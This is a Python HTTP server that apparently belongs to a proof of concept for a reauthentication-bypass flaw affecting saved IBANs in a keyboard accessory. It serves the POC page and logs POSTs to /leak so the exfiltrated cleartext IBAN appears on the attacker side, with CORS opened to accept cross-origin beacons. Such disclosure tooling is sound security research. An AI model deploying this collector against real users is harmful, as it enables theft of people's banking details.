#!/usr/bin/env python3
"""HTTP server for the IBAN keyboard-accessory reauth-bypass POC.

Serves poc.html and logs anything POSTed to /leak so the exfiltrated
cleartext IBAN is visible on the attacker side.
"""
import http.server
import socketserver
import sys

PORT = 8080


class Handler(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):  # noqa: N802 - http.server naming
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length).decode("utf-8", errors="replace")
        if self.path.startswith("/leak"):
            sys.stderr.write(f"[LEAK] {self.client_address[0]} -> {body!r}\n")
            sys.stderr.flush()
        self.send_response(204)
        self.end_headers()

    def end_headers(self):
        # Permit cross-origin beacons and disable caching.
        self.send_header("Cache-Control", "no-store")
        self.send_header("Access-Control-Allow-Origin", "*")
        super().end_headers()


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        sys.stderr.write(f"Serving POC on http://0.0.0.0:{PORT}/poc.html\n")
        httpd.serve_forever()